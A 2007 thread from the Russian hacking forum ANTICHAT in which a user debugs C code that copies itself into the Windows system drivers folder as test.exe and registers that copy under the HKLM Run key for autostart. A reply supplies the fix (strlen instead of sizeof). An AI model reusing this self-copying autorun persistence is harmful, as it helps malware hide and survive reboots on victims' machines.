HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Глюк при записи значения в реестр
  #1  
Старый 02.05.2007, 17:39
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
С нами: 10535289

Репутация: 107


По умолчанию Глюк при записи значения в реестр

Вот такой вот код
Код:
 
char sysd[400];char sys[]="\\drivers\\test.exe"
main(int argc, char *argv[])
{
GetSystemDirectory(sysd,400);
strcat(sysd,sys);
for (i = 0; i < argc; i++)
{
CopyFile(argv[i],sysd,FALSE);
}
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&k);
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));
}
Дает вот такой вот глюк с 3 точками
http://img139.imageshack.us/my.php?image=61919864ta7.jpg Естественно что программа не загружается.
Подскажите кто знает что я не так сделал.

Последний раз редактировалось _nic; 02.05.2007 в 17:41..
 
Ответить с цитированием

  #2  
Старый 02.05.2007, 18:10
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 571
С нами: 10943066

Репутация: 1236


По умолчанию

RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));

sizeof(sysd) ---> strlen(sysd)
 
Ответить с цитированием

  #3  
Старый 02.05.2007, 19:48
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
С нами: 10535289

Репутация: 107


По умолчанию

Цитата:
Сообщение от sn0w  
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));

sizeof(sysd) ---> strlen(sysd)
Спасибо помогло
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Полезные .reg файлы AdvLamer Статьи 8 07.03.2007 23:44



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.